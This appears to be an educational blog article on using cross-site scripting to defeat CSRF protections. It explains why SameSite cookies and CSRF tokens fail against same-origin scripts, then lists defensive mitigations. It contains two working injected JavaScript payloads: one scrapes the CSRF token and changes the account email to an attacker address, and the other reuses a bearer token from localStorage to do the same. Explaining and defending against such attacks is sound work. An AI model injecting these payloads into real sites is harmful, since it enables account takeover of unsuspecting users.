Leveraging XSS to Execute CSRF Attacks

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Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) are two prevalent security vulnerabilities that web applications face today. While they are distinct in their mechanisms, their combination or the misuse of one can impact the defenses against the other, leading to devastating security breaches. This article explores how an attacker can leverage XSS, which typically results in same-origin request forgery (RF), to manipulate or bypass mechanisms designed to defend against CSRF. Specifically, we will discuss two methods: bypassing CSRF tokens and manipulating authorization headers.

XSS (Cross-Site Scripting): XSS attacks occur when an attacker injects malicious script into content that is then served to a user. The user’s browser executes the script as if it’s part of the site, allowing the attacker to steal cookies, session tokens, or perform actions on behalf of the user.

CSRF (Cross-Site Request Forgery): In CSRF attacks, attackers trick the user’s browser into executing unwanted actions on a web application where the user is authenticated, without the user’s knowledge or consent.

XSS Vulnerability: The target website must have an XSS flaw, allowing malicious script injection.

Permissive CSP: The Content Security Policy (CSP) should not block the injected script. Ideally, it allows ‘self’ sources or lacks directives preventing script execution.

Relevant Action: The application must contain an action worth inducing, such as modifying permissions or altering user-specific data like passwords.

SameSite is a browser security mechanism that determines when a website’s cookies are included in requests originating from other websites. SameSite cookie restrictions provide partial protection against a variety of cross-site attacks, including CSRF, cross-site leaks, and some CORS exploits. However, XSS can bypass SameSite restrictions in certain scenarios because the malicious script is executed from the same domain as the cookie, thus considered a same-origin request. Therefore, even SameSite-strict cookies will be sent in requests triggered by XSS, provided these requests are initiated from the same site (same-origin) and not as a result of cross-site navigation. This ability to trigger actions from the same domain makes XSS particularly dangerous, as it can lead to unauthorized actions by exploiting the implicit trust of SameSite-strict cookies in a same-origin context.

CSRF tokens are hidden values in web forms to verify submissions from authenticated users. However, with an XSS vulnerability, an attacker can manipulate the Document Object Model (DOM) to extract this token directly from the form. Below is a script illustrating this concept, which should be tailored to the specific actions and CSRF token handling mechanisms of the application being tested or secured.

Injection Code Example:

(function() {
fetch('/user-settings').then(response => response.text()).then(html => {
var parser = new DOMParser();
var doc = parser.parseFromString(html, "text/html");
var csrfToken = doc.querySelector('input[name="csrfToken"]').value;

var data = new FormData();
data.append('csrfToken', csrfToken);
data.append('email', 'attacker@example.com');

fetch('/update-settings', {
method: 'POST',
body: data
});
});
})();

Authorization headers, which are typically considered secure against CSRF due to their use in conjunction with bearer tokens, can also be compromised if XSS vulnerabilities exist.

Retrieving Tokens from Storage

Session Storage Retrieval: Tokens stored in session storage can be accessed using JavaScript injected through XSS.

// Retrieve the CSRF token from session storage
var authToken = sessionStorage.getItem('authToken');

Local Storage Retrieval: Similarly, tokens stored in local storage are also accessible.

// Retrieve the CSRF token from local storage
var authToken = localStorage.getItem('authToken');

Injection Code Example:

This example shows how an attacker could manipulate authorization headers using tokens stored in either local storage or session storage.

(function() {
var authToken = localStorage.getItem('authToken');

var data = new FormData();
data.append('email', 'attacker@example.com');

fetch('/update-settings', {
method: 'POST',
headers: {
'Authorization': 'Bearer ' + authToken
},
body: data
});
})();

Content Security Policy (CSP): Implement strict CSP rules to control the sources from which scripts can be loaded. Use default-src 'self' to allow scripts only from the current origin. Disable inline JavaScript and CSS by setting script-src and style-src without 'unsafe-inline'. Restrict connections to secure protocols by setting connect-src 'https'.

Input Sanitization: Validate and sanitize all user inputs to prevent malicious data from entering your application. This includes encoding inputs before inserting them into HTML documents, JavaScript code, or database queries.

Output Encoding: Use proper encoding techniques when displaying user-generated content. Ensure that any dynamic content inserted into the webpage is treated as data, not executable code.

Use Frameworks that Automatically Escape XSS: Leverage modern web frameworks such as React, Angular, or Vue.js, which automatically handle encoding and escaping, significantly reducing the risk of XSS.

Requiring Re-authentication for Important Actions: Require users to re-enter their password or provide a second factor of authentication before completing sensitive actions. This step can help ensure that the request is intentional and authorized by the user.

The combination of Cross-Site Scripting (XSS) and Cross-Site Request Forgery (CSRF) presents significant security risks for web applications. By exploiting XSS to facilitate same-origin request forgery (RF), attackers can execute unauthorized actions within the target domain.

To counter these threats, robust mitigation strategies such as strict Content Security Policies (CSP), input sanitization, and output encoding are essential. Additionally, leveraging modern web frameworks and implementing re-authentication for sensitive actions can enhance security measures.

Disclaimer: This article is for educational purposes only, aimed at enhancing understanding of web security vulnerabilities and their mitigation. The techniques discussed should not be used for unethical or illegal activities. Readers are urged to apply this knowledge responsibly and in compliance with applicable laws and ethical standards. Unauthorized access to computer systems is illegal and contrary to ethical hacking principles. Let’s collaborate to ensure a secure web ecosystem.

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